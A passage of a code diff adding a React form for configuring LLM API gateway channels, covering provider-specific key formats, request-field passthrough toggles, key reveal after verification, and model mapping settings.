+                        <FormLabel>{t('AWS Key Format')}</FormLabel>
+                        <Select
+                          onValueChange={field.onChange}
+                          value={field.value}
+                        >
+                          <FormControl>
+                            <SelectTrigger>
+                              <SelectValue
+                                placeholder={t('Select key format')}
+                              />
+                            </SelectTrigger>
+                          </FormControl>
+                          <SelectContent>
+                            <SelectItem value='ak_sk'>
+                              {t('AccessKey / SecretAccessKey')}
+                            </SelectItem>
+                            <SelectItem value='api_key'>
+                              {t('API Key')}
+                            </SelectItem>
+                          </SelectContent>
+                        </Select>
+                        <FormDescription>
+                          {field.value === 'api_key'
+                            ? t('API Key mode: use APIKey|Region')
+                            : t(
+                                'AK/SK mode: use AccessKey|SecretAccessKey|Region'
+                              )}
+                        </FormDescription>
+                        <FormMessage />
+                      </FormItem>
+                    )}
+                  />
+                )}
+
+                {/* Field passthrough controls (OpenAI type 1 / Anthropic type 14) */}
+                {(currentType === 1 || currentType === 14) && (
+                  <div className='space-y-3 rounded-lg border p-4'>
+                    <div className='space-y-0.5'>
+                      <p className='text-sm font-medium'>
+                        {t('Field passthrough controls')}
+                      </p>
+                      <p className='text-muted-foreground text-xs'>
+                        {t(
+                          'These toggles affect whether certain request fields are passed through to the upstream provider.'
+                        )}
+                      </p>
+                    </div>
+
+                    <FormField
+                      control={form.control}
+                      name='allow_service_tier'
+                      render={({ field }) => (
+                        <FormItem className='flex items-center justify-between gap-3 rounded-md border p-3'>
+                          <div className='space-y-0.5'>
+                            <FormLabel className='text-sm'>
+                              {t('Allow service_tier passthrough')}
+                            </FormLabel>
+                            <FormDescription>
+                              {t('Pass through the service_tier field')}
+                            </FormDescription>
+                          </div>
+                          <FormControl>
+                            <Switch
+                              checked={field.value}
+                              onCheckedChange={field.onChange}
+                            />
+                          </FormControl>
+                        </FormItem>
+                      )}
+                    />
+
+                    {currentType === 1 && (
+                      <>
+                        <FormField
+                          control={form.control}
+                          name='disable_store'
+                          render={({ field }) => (
+                            <FormItem className='flex items-center justify-between gap-3 rounded-md border p-3'>
+                              <div className='space-y-0.5'>
+                                <FormLabel className='text-sm'>
+                                  {t('Disable store passthrough')}
+                                </FormLabel>
+                                <FormDescription>
+                                  {t(
+                                    'When enabled, the store field will be blocked'
+                                  )}
+                                </FormDescription>
+                              </div>
+                              <FormControl>
+                                <Switch
+                                  checked={field.value}
+                                  onCheckedChange={field.onChange}
+                                />
+                              </FormControl>
+                            </FormItem>
+                          )}
+                        />
+
+                        <FormField
+                          control={form.control}
+                          name='allow_safety_identifier'
+                          render={({ field }) => (
+                            <FormItem className='flex items-center justify-between gap-3 rounded-md border p-3'>
+                              <div className='space-y-0.5'>
+                                <FormLabel className='text-sm'>
+                                  {t('Allow safety_identifier passthrough')}
+                                </FormLabel>
+                                <FormDescription>
+                                  {t(
+                                    'Pass through the safety_identifier field'
+                                  )}
+                                </FormDescription>
+                              </div>
+                              <FormControl>
+                                <Switch
+                                  checked={field.value}
+                                  onCheckedChange={field.onChange}
+                                />
+                              </FormControl>
+                            </FormItem>
+                          )}
+                        />
+
+                        <FormField
+                          control={form.control}
+                          name='allow_include_obfuscation'
+                          render={({ field }) => (
+                            <FormItem className='flex items-center justify-between gap-3 rounded-md border p-3'>
+                              <div className='space-y-0.5'>
+                                <FormLabel className='text-sm'>
+                                  {t(
+                                    'Allow include usage obfuscation passthrough'
+                                  )}
+                                </FormLabel>
+                                <FormDescription>
+                                  {t(
+                                    'Pass through the include field for usage obfuscation'
+                                  )}
+                                </FormDescription>
+                              </div>
+                              <FormControl>
+                                <Switch
+                                  checked={field.value}
+                                  onCheckedChange={field.onChange}
+                                />
+                              </FormControl>
+                            </FormItem>
+                          )}
+                        />
+
+                        <FormField
+                          control={form.control}
+                          name='allow_inference_geo'
+                          render={({ field }) => (
+                            <FormItem className='flex items-center justify-between gap-3 rounded-md border p-3'>
+                              <div className='space-y-0.5'>
+                                <FormLabel className='text-sm'>
+                                  {t('Allow inference geography passthrough')}
+                                </FormLabel>
+                                <FormDescription>
+                                  {t(
+                                    'Pass through the inference_geo field for geographic routing'
+                                  )}
+                                </FormDescription>
+                              </div>
+                              <FormControl>
+                                <Switch
+                                  checked={field.value}
+                                  onCheckedChange={field.onChange}
+                                />
+                              </FormControl>
+                            </FormItem>
+                          )}
+                        />
+                      </>
+                    )}
+
+                    {currentType === 14 && (
+                      <>
+                        <FormField
+                          control={form.control}
+                          name='allow_inference_geo'
+                          render={({ field }) => (
+                            <FormItem className='flex items-center justify-between gap-3 rounded-md border p-3'>
+                              <div className='space-y-0.5'>
+                                <FormLabel className='text-sm'>
+                                  {t('Allow inference_geo passthrough')}
+                                </FormLabel>
+                                <FormDescription>
+                                  {t(
+                                    'Pass through the inference_geo field for Claude data residency region control'
+                                  )}
+                                </FormDescription>
+                              </div>
+                              <FormControl>
+                                <Switch
+                                  checked={field.value}
+                                  onCheckedChange={field.onChange}
+                                />
+                              </FormControl>
+                            </FormItem>
+                          )}
+                        />
+
+                        <FormField
+                          control={form.control}
+                          name='allow_speed'
+                          render={({ field }) => (
+                            <FormItem className='flex items-center justify-between gap-3 rounded-md border p-3'>
+                              <div className='space-y-0.5'>
+                                <FormLabel className='text-sm'>
+                                  {t('Allow speed passthrough')}
+                                </FormLabel>
+                                <FormDescription>
+                                  {t(
+                                    'Pass through the speed field for Claude inference speed mode control'
+                                  )}
+                                </FormDescription>
+                              </div>
+                              <FormControl>
+                                <Switch
+                                  checked={field.value}
+                                  onCheckedChange={field.onChange}
+                                />
+                              </FormControl>
+                            </FormItem>
+                          )}
+                        />
+
+                        <FormField
+                          control={form.control}
+                          name='claude_beta_query'
+                          render={({ field }) => (
+                            <FormItem className='flex items-center justify-between gap-3 rounded-md border p-3'>
+                              <div className='space-y-0.5'>
+                                <FormLabel className='text-sm'>
+                                  {t('Allow Claude beta query passthrough')}
+                                </FormLabel>
+                                <FormDescription>
+                                  {t(
+                                    'Pass through the anthropic-beta header for beta features'
+                                  )}
+                                </FormDescription>
+                              </div>
+                              <FormControl>
+                                <Switch
+                                  checked={field.value}
+                                  onCheckedChange={field.onChange}
+                                />
+                              </FormControl>
+                            </FormItem>
+                          )}
+                        />
+                      </>
+                    )}
+                  </div>
+                )}
+
+                {/* AI Proxy Library (type 21) */}
+                {currentType === 21 && (
+                  <FormField
+                    control={form.control}
+                    name='other'
+                    render={({ field }) => (
+                      <FormItem>
+                        <FormLabel>{t('Knowledge Base ID *')}</FormLabel>
+                        <FormControl>
+                          <Input placeholder={t('e.g., 123456')} {...field} />
+                        </FormControl>
+                        <FormDescription>
+                          {t('Enter the knowledge base ID')}
+                        </FormDescription>
+                        <FormMessage />
+                      </FormItem>
+                    )}
+                  />
+                )}
+
+                {/* FastGPT (type 22) */}
+                {currentType === 22 && (
+                  <FormField
+                    control={form.control}
+                    name='base_url'
+                    render={({ field }) => (
+                      <FormItem>
+                        <FormLabel>{t('Private Deployment URL')}</FormLabel>
+                        <FormControl>
+                          <Input
+                            placeholder={t(
+                              'e.g., https://fastgpt.run/api/openapi'
+                            )}
+                            {...field}
+                          />
+                        </FormControl>
+                        <FormDescription>
+                          {t(
+                            'For private deployments, format: https://fastgpt.run/api/openapi'
+                          )}
+                        </FormDescription>
+                        <FormMessage />
+                      </FormItem>
+                    )}
+                  />
+                )}
+
+                {/* SunoAPI (type 36) */}
+                {currentType === 36 && (
+                  <FormField
+                    control={form.control}
+                    name='base_url'
+                    render={({ field }) => (
+                      <FormItem>
+                        <FormLabel>
+                          {t('API Base URL (Important: Not Chat API) *')}
+                        </FormLabel>
+                        <FormControl>
+                          <Input
+                            placeholder={t(
+                              'e.g., https://api.example.com (path before /suno)'
+                            )}
+                            {...field}
+                          />
+                        </FormControl>
+                        <FormDescription>
+                          {t(
+                            'Enter the path before /suno, usually just the domain'
+                          )}
+                        </FormDescription>
+                        <FormMessage />
+                      </FormItem>
+                    )}
+                  />
+                )}
+
+                {/* Cloudflare Workers AI (type 39) */}
+                {currentType === 39 && (
+                  <FormField
+                    control={form.control}
+                    name='other'
+                    render={({ field }) => (
+                      <FormItem>
+                        <FormLabel>{t('Account ID *')}</FormLabel>
+                        <FormControl>
+                          <Input
+                            placeholder={t('e.g., d6b5da8hk1awo8nap34ube6gh')}
+                            {...field}
+                          />
+                        </FormControl>
+                        <FormDescription>
+                          {t('Your Cloudflare Account ID')}
+                        </FormDescription>
+                        <FormMessage />
+                      </FormItem>
+                    )}
+                  />
+                )}
+
+                {/* SiliconFlow (type 40) */}
+                {currentType === 40 && (
+                  <Alert>
+                    <AlertDescription>
+                      {t('Referral link:')}{' '}
+                      <a
+                        href='https://cloud.siliconflow.cn/i/hij0YNTZ'
+                        target='_blank'
+                        rel='noopener noreferrer'
+                        className='text-primary underline'
+                      >
+                        {t('https://cloud.siliconflow.cn/i/hij0YNTZ')}
+                      </a>
+                    </AlertDescription>
+                  </Alert>
+                )}
+
+                {/* Vertex AI (type 41) */}
+                {currentType === 41 && (
+                  <>
+                    <FormField
+                      control={form.control}
+                      name='vertex_key_type'
+                      render={({ field }) => (
+                        <FormItem>
+                          <FormLabel>{t('Vertex AI Key Format')}</FormLabel>
+                          <Select
+                            onValueChange={field.onChange}
+                            value={field.value}
+                          >
+                            <FormControl>
+                              <SelectTrigger>
+                                <SelectValue />
+                              </SelectTrigger>
+                            </FormControl>
+                            <SelectContent>
+                              <SelectItem value='json'>{t('JSON')}</SelectItem>
+                              <SelectItem value='api_key'>
+                                {t('API Key')}
+                              </SelectItem>
+                            </SelectContent>
+                          </Select>
+                          <FormDescription>
+                            {field.value === 'json'
+                              ? t(
+                                  'JSON format supports service account JSON files'
+                                )
+                              : t(
+                                  'API Key mode (does not support batch creation)'
+                                )}
+                          </FormDescription>
+                          <FormMessage />
+                        </FormItem>
+                      )}
+                    />
+                    {form.watch('vertex_key_type') === 'json' && (
+                      <FormItem>
+                        <FormLabel>
+                          {t('Service account JSON file(s)')}
+                        </FormLabel>
+                        <FormControl>
+                          <Input
+                            type='file'
+                            accept='.json,application/json'
+                            multiple={isBatchMode}
+                            onChange={async (e) => {
+                              const fileList = e.target.files
+                              const files = fileList ? Array.from(fileList) : []
+                              // allow re-selecting the same file
+                              e.target.value = ''
+
+                              if (files.length === 0) {
+                                toast.info(t('Please upload key file(s)'))
+                                return
+                              }
+
+                              const keys: unknown[] = []
+                              for (const file of files) {
+                                try {
+                                  const txt = await file.text()
+                                  keys.push(JSON.parse(txt))
+                                } catch {
+                                  toast.error(
+                                    t('Failed to parse JSON file: {{name}}', {
+                                      name: file.name,
+                                    })
+                                  )
+                                  return
+                                }
+                              }
+
+                              if (keys.length === 0) {
+                                toast.info(t('Please upload key file(s)'))
+                                return
+                              }
+
+                              const keyValue = isBatchMode
+                                ? JSON.stringify(keys)
+                                : JSON.stringify(keys[0])
+
+                              form.setValue('key', keyValue, {
+                                shouldDirty: true,
+                                shouldValidate: true,
+                              })
+
+                              toast.success(
+                                t('Parsed {{count}} service account file(s)', {
+                                  count: keys.length,
+                                })
+                              )
+                            }}
+                          />
+                        </FormControl>
+                        <FormDescription>
+                          {isBatchMode
+                            ? t('Upload multiple JSON files in batch modes')
+                            : t('Upload a single service account JSON file')}
+                        </FormDescription>
+                        <FormMessage />
+                      </FormItem>
+                    )}
+                    <FormField
+                      control={form.control}
+                      name='other'
+                      render={({ field }) => (
+                        <FormItem>
+                          <FormLabel>{t('Deployment Region *')}</FormLabel>
+                          <FormControl>
+                            <Textarea
+                              placeholder={t(
+                                'e.g., us-central1 or JSON format for model-specific regions'
+                              )}
+                              rows={3}
+                              {...field}
+                            />
+                          </FormControl>
+                          <FormDescription>
+                            {t('Enter deployment region or JSON mapping:')}{' '}
+                            {'{'}
+                            {t(
+                              '"default": "us-central1", "claude-3-5-sonnet-20240620": "europe-west1"'
+                            )}
+                            {'}'}
+                          </FormDescription>
+                          <FormMessage />
+                        </FormItem>
+                      )}
+                    />
+                  </>
+                )}
+
+                {/* VolcEngine (type 45) */}
+                {currentType === 45 && !doubaoApiEditUnlocked && (
+                  <FormField
+                    control={form.control}
+                    name='base_url'
+                    render={({ field }) => (
+                      <FormItem>
+                        <FormLabel
+                          className='cursor-pointer select-none'
+                          onClick={handleApiConfigSecretClick}
+                        >
+                          {t('API Base URL *')}
+                        </FormLabel>
+                        <Select
+                          onValueChange={field.onChange}
+                          value={
+                            field.value || 'https://ark.cn-beijing.volces.com'
+                          }
+                        >
+                          <FormControl>
+                            <SelectTrigger>
+                              <SelectValue />
+                            </SelectTrigger>
+                          </FormControl>
+                          <SelectContent>
+                            <SelectItem value='https://ark.cn-beijing.volces.com'>
+                              {t('https://ark.cn-beijing.volces.com')}
+                            </SelectItem>
+                            <SelectItem value='https://ark.ap-southeast.bytepluses.com'>
+                              {t('https://ark.ap-southeast.bytepluses.com')}
+                            </SelectItem>
+                            <SelectItem value='doubao-coding-plan'>
+                              {t('Doubao Coding Plan')}
+                            </SelectItem>
+                          </SelectContent>
+                        </Select>
+                        <FormDescription>
+                          {t('Select the API endpoint region')}
+                        </FormDescription>
+                        <FormMessage />
+                      </FormItem>
+                    )}
+                  />
+                )}
+
+                {/* VolcEngine (type 45) - Custom API URL (unlocked) */}
+                {currentType === 45 && doubaoApiEditUnlocked && (
+                  <FormField
+                    control={form.control}
+                    name='base_url'
+                    render={({ field }) => (
+                      <FormItem>
+                        <FormLabel>{t('API Base URL *')}</FormLabel>
+                        <FormControl>
+                          <Input
+                            placeholder={t(
+                              'e.g., https://ark.cn-beijing.volces.com'
+                            )}
+                            {...field}
+                          />
+                        </FormControl>
+                        <FormDescription>
+                          {t('Enter custom API endpoint URL')}
+                        </FormDescription>
+                        <FormMessage />
+                      </FormItem>
+                    )}
+                  />
+                )}
+
+                {/* Coze (type 49) */}
+                {currentType === 49 && (
+                  <FormField
+                    control={form.control}
+                    name='other'
+                    render={({ field }) => (
+                      <FormItem>
+                        <FormLabel>{t('Agent ID *')}</FormLabel>
+                        <FormControl>
+                          <Input
+                            placeholder={t('e.g., 7342866812345')}
+                            {...field}
+                          />
+                        </FormControl>
+                        <FormDescription>
+                          {t('Enter the Coze agent ID')}
+                        </FormDescription>
+                        <FormMessage />
+                      </FormItem>
+                    )}
+                  />
+                )}
+
+                {/* General base_url for other types */}
+                {![3, 8, 22, 36, 45].includes(currentType) && (
+                  <FormField
+                    control={form.control}
+                    name='base_url'
+                    render={({ field }) => (
+                      <FormItem>
+                        <FormLabel>{t('Base URL')}</FormLabel>
+                        <FormControl>
+                          <Input
+                            placeholder={t(FIELD_PLACEHOLDERS.BASE_URL)}
+                            {...field}
+                          />
+                        </FormControl>
+                        <FormDescription>
+                          {t(
+                            'Custom API base URL. For official channels, New API has built-in addresses. Only fill this for third-party proxy sites or special endpoints. Do not add /v1 or trailing slash.'
+                          )}
+                        </FormDescription>
+                        <FormMessage />
+                      </FormItem>
+                    )}
+                  />
+                )}
+
+                {/* Show message if no type-specific settings */}
+                {![3, 8, 18, 20, 21, 22, 36, 39, 40, 41, 45, 49].includes(
+                  currentType
+                ) && (
+                  <p className='text-muted-foreground text-sm'>
+                    {t(
+                      'No additional type-specific settings for this channel type.'
+                    )}
+                  </p>
+                )}
+              </div>
+
+              <Separator />
+
+              {/* Authentication Section */}
+              <div className='space-y-4'>
+                <h3 className='text-sm font-semibold'>{t('Authentication')}</h3>
+
+                {!isEditing && (
+                  <FormField
+                    control={form.control}
+                    name='multi_key_mode'
+                    render={({ field }) => (
+                      <FormItem>
+                        <FormLabel>{t('Add Mode')}</FormLabel>
+                        <Select
+                          onValueChange={field.onChange}
+                          value={field.value}
+                        >
+                          <FormControl>
+                            <SelectTrigger>
+                              <SelectValue />
+                            </SelectTrigger>
+                          </FormControl>
+                          <SelectContent>
+                            {ADD_MODE_OPTIONS.map((option) => (
+                              <SelectItem
+                                key={option.value}
+                                value={option.value}
+                              >
+                                {t(option.label)}
+                              </SelectItem>
+                            ))}
+                          </SelectContent>
+                        </Select>
+                        <FormDescription>
+                          {t(FIELD_DESCRIPTIONS.BATCH_ADD)}
+                        </FormDescription>
+                        <FormMessage />
+                      </FormItem>
+                    )}
+                  />
+                )}
+
+                <FormField
+                  control={form.control}
+                  name='key'
+                  render={({ field }) => {
+                    const keyPlaceholder = (() => {
+                      if (isEditing) {
+                        return t('Leave empty to keep existing key')
+                      }
+                      if (currentType === 33) {
+                        if (awsKeyType === 'api_key') {
+                          return isBatchMode
+                            ? t(
+                                'Enter API Key, one per line, format: APIKey|Region'
+                              )
+                            : t('Enter API Key, format: APIKey|Region')
+                        }
+                        return isBatchMode
+                          ? t(
+                              'Enter key, one per line, format: AccessKey|SecretAccessKey|Region'
+                            )
+                          : t(
+                              'Enter key, format: AccessKey|SecretAccessKey|Region'
+                            )
+                      }
+                      if (isBatchMode) {
+                        return t('Enter one key per line for batch creation')
+                      }
+                      return t(getKeyPromptForType(currentType))
+                    })()
+                    return (
+                      <FormItem>
+                        <FormLabel>{t('API Key *')}</FormLabel>
+                        <FormControl>
+                          <Textarea
+                            placeholder={keyPlaceholder}
+                            rows={isBatchMode ? 8 : 4}
+                            {...field}
+                          />
+                        </FormControl>
+                        <FormDescription>
+                          <div className='flex flex-col gap-2'>
+                            <span>
+                              {isEditing ? (
+                                <>
+                                  {t(
+                                    'Enter new key to update, or leave empty to keep current key'
+                                  )}
+                                  {isMultiKeyChannel && (
+                                    <span className='text-warning mt-1 block'>
+                                      {t('Multi-key channel: Keys will be')}{' '}
+                                      {keyMode === 'replace'
+                                        ? t('replaced')
+                                        : t('appended')}
+                                    </span>
+                                  )}
+                                </>
+                              ) : isBatchMode ? (
+                                t(
+                                  'Enter one API key per line for batch creation'
+                                )
+                              ) : (
+                                t(FIELD_DESCRIPTIONS.KEY)
+                              )}
+                            </span>
+                            {isBatchMode && (
+                              <Button
+                                type='button'
+                                variant='outline'
+                                size='sm'
+                                onClick={handleDeduplicateKeys}
+                                className='w-fit'
+                              >
+                                <Trash2 className='mr-2 h-4 w-4' />
+                                {t('Remove Duplicates')}
+                              </Button>
+                            )}
+                          </div>
+                        </FormDescription>
+                        {isEditing && (
+                          <div className='mt-4 space-y-3 rounded-lg border border-dashed p-4'>
+                            <div className='flex flex-col gap-2 sm:flex-row sm:items-center sm:justify-between'>
+                              <div>
+                                <p className='text-sm font-medium'>
+                                  {t('Current key')}
+                                </p>
+                                <p className='text-muted-foreground text-xs'>
+                                  {t(
+                                    'Verification required to reveal the saved key.'
+                                  )}
+                                </p>
+                              </div>
+                              <div className='flex items-center gap-2'>
+                                <Button
+                                  type='button'
+                                  variant='outline'
+                                  size='sm'
+                                  onClick={handleRevealKey}
+                                  disabled={
+                                    isChannelKeyLoading ||
+                                    verificationState.loading
+                                  }
+                                >
+                                  {isChannelKeyLoading ||
+                                  verificationState.loading ? (
+                                    <Loader2 className='mr-2 h-4 w-4 animate-spin' />
+                                  ) : (
+                                    <Eye className='mr-2 h-4 w-4' />
+                                  )}
+                                  {t('Reveal key')}
+                                </Button>
+                                <Button
+                                  type='button'
+                                  variant='ghost'
+                                  size='sm'
+                                  onClick={async () => {
+                                    if (channelKey) {
+                                      await copyToClipboard(channelKey)
+                                    }
+                                  }}
+                                  disabled={!channelKey}
+                                >
+                                  <Copy className='mr-2 h-4 w-4' />
+                                  {t('Copy')}
+                                </Button>
+                              </div>
+                            </div>
+                            <Input
+                              readOnly
+                              value={channelKey ?? ''}
+                              placeholder={t('Hidden — verify to reveal')}
+                              className='font-mono'
+                            />
+                          </div>
+                        )}
+                        <FormMessage />
+                      </FormItem>
+                    )
+                  }}
+                />
+
+                {currentType === 57 && (
+                  <div className='bg-muted/20 space-y-3 rounded-lg border p-4'>
+                    <div className='flex flex-col gap-2 sm:flex-row sm:items-center sm:justify-between'>
+                      <div className='space-y-0.5'>
+                        <div className='text-sm font-semibold'>
+                          {t('Codex Authorization')}
+                        </div>
+                        <div className='text-muted-foreground text-xs'>
+                          {t(
+                            'Codex channels use an OAuth JSON credential as the key.'
+                          )}
+                        </div>
+                      </div>
+                      <div className='flex flex-wrap items-center gap-2'>
+                        <Button
+                          type='button'
+                          variant='outline'
+                          size='sm'
+                          onClick={() => setCodexOAuthDialogOpen(true)}
+                        >
+                          <Link2 className='mr-2 h-4 w-4' />
+                          {t('Authorize')}
+                        </Button>
+                        {isEditing && channelId && (
+                          <Button
+                            type='button'
+                            variant='outline'
+                            size='sm'
+                            onClick={handleRefreshCodexCredential}
+                            disabled={isCodexCredentialRefreshing}
+                          >
+                            {isCodexCredentialRefreshing ? (
+                              <Loader2 className='mr-2 h-4 w-4 animate-spin' />
+                            ) : (
+                              <RefreshCw className='mr-2 h-4 w-4' />
+                            )}
+                            {isCodexCredentialRefreshing
+                              ? t('Refreshing...')
+                              : t('Refresh credential')}
+                          </Button>
+                        )}
+                      </div>
+                    </div>
+                    <Alert>
+                      <AlertDescription>
+                        {t(
+                          'If authorization succeeds, the generated JSON will be inserted into the key field. You still need to save the channel to persist it.'
+                        )}
+                      </AlertDescription>
+                    </Alert>
+                  </div>
+                )}
+
+                <CodexOAuthDialog
+                  open={codexOAuthDialogOpen}
+                  onOpenChange={setCodexOAuthDialogOpen}
+                  onKeyGenerated={(key) => {
+                    form.setValue('key', key, { shouldDirty: true })
+                  }}
+                />
+
+                {isEditing && isMultiKeyChannel && (
+                  <FormField
+                    control={form.control}
+                    name='key_mode'
+                    render={({ field }) => (
+                      <FormItem>
+                        <FormLabel>{t('Key Update Mode')}</FormLabel>
+                        <Select
+                          onValueChange={field.onChange}
+                          value={field.value}
+                        >
+                          <FormControl>
+                            <SelectTrigger>
+                              <SelectValue />
+                            </SelectTrigger>
+                          </FormControl>
+                          <SelectContent>
+                            <SelectItem value='append'>
+                              {t('Append to existing keys')}
+                            </SelectItem>
+                            <SelectItem value='replace'>
+                              {t('Replace all existing keys')}
+                            </SelectItem>
+                          </SelectContent>
+                        </Select>
+                        <FormDescription>
+                          {field.value === 'replace'
+                            ? t(
+                                'Replace mode: Will completely replace all existing keys'
+                              )
+                            : t(
+                                'Append mode: New keys will be added to the end of the existing key list'
+                              )}
+                        </FormDescription>
+                        <FormMessage />
+                      </FormItem>
+                    )}
+                  />
+                )}
+
+                {!isEditing && multiKeyMode === 'multi_to_single' && (
+                  <FormField
+                    control={form.control}
+                    name='multi_key_type'
+                    render={({ field }) => (
+                      <FormItem>
+                        <FormLabel>{t('Multi-Key Strategy')}</FormLabel>
+                        <Select
+                          onValueChange={field.onChange}
+                          value={field.value}
+                        >
+                          <FormControl>
+                            <SelectTrigger>
+                              <SelectValue />
+                            </SelectTrigger>
+                          </FormControl>
+                          <SelectContent>
+                            <SelectItem value='random'>
+                              {t('Random')}
+                            </SelectItem>
+                            <SelectItem value='polling'>
+                              {t('Polling')}
+                            </SelectItem>
+                          </SelectContent>
+                        </Select>
+                        <FormDescription>
+                          {multiKeyType === 'polling' ? (
+                            <span className='text-warning'>
+                              {t(
+                                'Polling mode requires Redis and memory cache, otherwise performance will be significantly degraded'
+                              )}
+                            </span>
+                          ) : (
+                            t(
+                              'Randomly select a key from the pool for each request'
+                            )
+                          )}
+                        </FormDescription>
+                        <FormMessage />
+                      </FormItem>
+                    )}
+                  />
+                )}
+              </div>
+
+              <Separator />
+
+              {/* Models & Groups Section */}
+              <div className='space-y-4'>
+                <h3 className='text-sm font-semibold'>
+                  {t('Models & Groups')}
+                </h3>
+
+                <FormField
+                  control={form.control}
+                  name='models'
+                  render={() => (
+                    <FormItem>
+                      <FormLabel>{t('Models *')}</FormLabel>
+                      <FormControl>
+                        <MultiSelect
+                          options={modelOptions}
+                          selected={currentModelsArray}
+                          onChange={handleModelsChange}
+                          placeholder={t('Select models or add custom ones')}
+                        />
+                      </FormControl>
+                      <FormDescription>
+                        <div className='flex flex-col gap-2'>
+                          <span>{t(FIELD_DESCRIPTIONS.MODELS)}</span>
+                          <div className='flex flex-wrap gap-2'>
+                            <Button
+                              type='button'
+                              variant='outline'
+                              size='sm'
+                              onClick={handleFillRelatedModels}
+                              disabled={!basicModels.length}
+                            >
+                              <FileText className='mr-2 h-4 w-4' />
+                              {t('Fill Related Models')}
+                            </Button>
+                            <Button
+                              type='button'
+                              variant='outline'
+                              size='sm'
+                              onClick={handleFillAllModels}
+                              disabled={!allModelsList.length}
+                            >
+                              <Plus className='mr-2 h-4 w-4' />
+                              {t('Fill All Models')}
+                            </Button>
+                            {MODEL_FETCHABLE_TYPES.has(currentType) && (
+                              <Button
+                                type='button'
+                                variant='outline'
+                                size='sm'
+                                onClick={handleFetchModels}
+                                disabled={isFetchingModels}
+                              >
+                                {isFetchingModels ? (
+                                  <Loader2 className='mr-2 h-4 w-4 animate-spin' />
+                                ) : (
+                                  <Sparkles className='mr-2 h-4 w-4' />
+                                )}
+                                {t('Fetch from Upstream')}
+                              </Button>
+                            )}
+                            <Button
+                              type='button'
+                              variant='outline'
+                              size='sm'
+                              onClick={handleClearModels}
+                            >
+                              <Eraser className='mr-2 h-4 w-4' />
+                              {t('Clear All')}
+                            </Button>
+                            <Button
+                              type='button'
+                              variant='outline'
+                              size='sm'
+                              onClick={handleCopyModels}
+                            >
+                              <Copy className='mr-2 h-4 w-4' />
+                              {t('Copy All')}
+                            </Button>
+                            {prefillGroups.map((group) => (
+                              <Button
+                                key={group.id}
+                                type='button'
+                                variant='secondary'
+                                size='sm'
+                                onClick={() => handleAddPrefillGroup(group)}
+                              >
+                                {group.name}
+                              </Button>
+                            ))}
+                          </div>
+                        </div>
+                      </FormDescription>
+                      {modelMappingGuardrail.exposedTargetModels.length > 0 && (
+                        <Alert className='mt-3 border-amber-200 bg-amber-50 text-amber-900 dark:border-amber-500/40 dark:bg-amber-500/10 dark:text-amber-50'>
+                          <AlertDescription>
+                            {t('The mapped upstream model(s)')}{' '}
+                            {formatModelNames(
+                              modelMappingGuardrail.exposedTargetModels
+                            )}{' '}
+                            {t(
+                              'are also listed here. Remove them from Models to keep the `/v1/models` response user-friendly and hide vendor-specific names.'
+                            )}
+                          </AlertDescription>
+                        </Alert>
+                      )}
+                      <FormMessage />
+                    </FormItem>
+                  )}
+                />
+
+                {/* Custom Model Input */}
+                <div className='flex gap-2'>
+                  <Input
+                    placeholder={t('Add custom model(s), comma-separated')}
+                    value={customModel}
+                    onChange={(e) => setCustomModel(e.target.value)}
+                    onKeyDown={(e) => {
+                      if (e.key === 'Enter') {
+                        e.preventDefault()
+                        handleAddCustomModels()
+                      }
+                    }}
+                  />
+                  <Button
+                    type='button'
+                    variant='secondary'
+                    onClick={handleAddCustomModels}
+                    disabled={!customModel}
+                  >
+                    {t('Add')}
+                  </Button>
+                </div>
+
+                <FormField
+                  control={form.control}
+                  name='model_mapping'
+                  render={({ field }) => (
+                    <FormItem>
+                      <div className='flex items-center gap-2'>
+                        <FormLabel className='mb-0'>
+                          {t('Model Mapping')}
+                        </FormLabel>
+                        <Tooltip>
+                          <TooltipTrigger asChild>
+                            <Button
+                              type='button'
+                              variant='ghost'
+                              size='icon-sm'
+                              className='text-muted-foreground hover:text-foreground size-auto p-0'
+                              aria-label='How model mapping works'
+                            >
+                              <HelpCircle className='h-4 w-4' />
+                            </Button>
+                          </TooltipTrigger>
+                          <TooltipContent
+                            side='top'
+                            align='start'
+                            className='max-w-xs space-y-2 text-left'
+                          >
+                            <p className='text-xs font-semibold tracking-wide uppercase'>
+                              {t('Request flow')}
+                            </p>
+                            <div className='space-y-1 font-mono text-xs'>
+                              {mappingPreviewPairs.map((pair) => (
+                                <div
+                                  key={`${pair.source}-${pair.target}`}
+                                  className='flex items-center gap-1'
+                                >
+                                  <span>{pair.source}</span>
+                                  <ArrowRight className='h-3.5 w-3.5 opacity-70' />
+                                  <span>{pair.target}</span>
+                                </div>
+                              ))}
+                              {remainingMappingCount > 0 && (
+                                <div className='text-[11px] opacity-70'>
+                                  +{remainingMappingCount} {t('more mapping')}
+                                  {remainingMappingCount > 1 ? 's' : ''}
+                                </div>
+                              )}
+                            </div>
+                            <p className='text-[11px] leading-relaxed opacity-80'>
+                              {t(
+                                'Users call the model on the left. The platform forwards the request to the upstream model on the right.'
+                              )}
+                            </p>
+                          </TooltipContent>
+                        </Tooltip>
+                      </div>
+                      <FormControl>
+                        <ModelMappingEditor
+                          value={field.value || ''}
+                          onChange={field.onChange}
+                          disabled={isSubmitting}
+                        />
+                      </FormControl>
+                      <FormDescription>
+                        {t(FIELD_DESCRIPTIONS.MODEL_MAPPING)}
+                      </FormDescription>
+                      {modelMappingGuardrail.invalidJson && (
+                        <Alert variant='destructive' className='mt-3'>
+                          <AlertDescription>
+                            {t('Model Mapping must be a JSON object like')}{' '}
+                            <code className='font-mono'>
+                              {'{"gpt-4":"Azure-GPT4"}'}
+                            </code>
+                            {t('. Please fix the JSON before saving.')}
+                          </AlertDescription>
+                        </Alert>
+                      )}
+                      {modelMappingGuardrail.missingSourceModels.length > 0 && (
+                        <Alert className='mt-3 border-amber-200 bg-amber-50 text-amber-900 dark:border-amber-500/40 dark:bg-amber-500/10 dark:text-amber-50'>
+                          <AlertDescription>
+                            {t('Add')}{' '}
+                            {formatModelNames(
+                              modelMappingGuardrail.missingSourceModels
+                            )}{' '}
+                            {t(
+                              'to the Models list so users can use them before the mapping sends traffic upstream.'
+                            )}
+                          </AlertDescription>
+                        </Alert>
+                      )}
+                      <FormMessage />
+                    </FormItem>
+                  )}
+                />
+
+                <FormField
+                  control={form.control}
+                  name='group'
+                  render={({ field }) => (
+                    <FormItem>
+                      <FormLabel>{t('Groups *')}</FormLabel>
+                      <FormControl>
+                        {isLoadingGroups ? (
+                          <Skeleton className='h-10 w-full' />
+                        ) : (
+                          <MultiSelect
+                            options={groupOptions}
+                            selected={field.value}
+                            onChange={field.onChange}
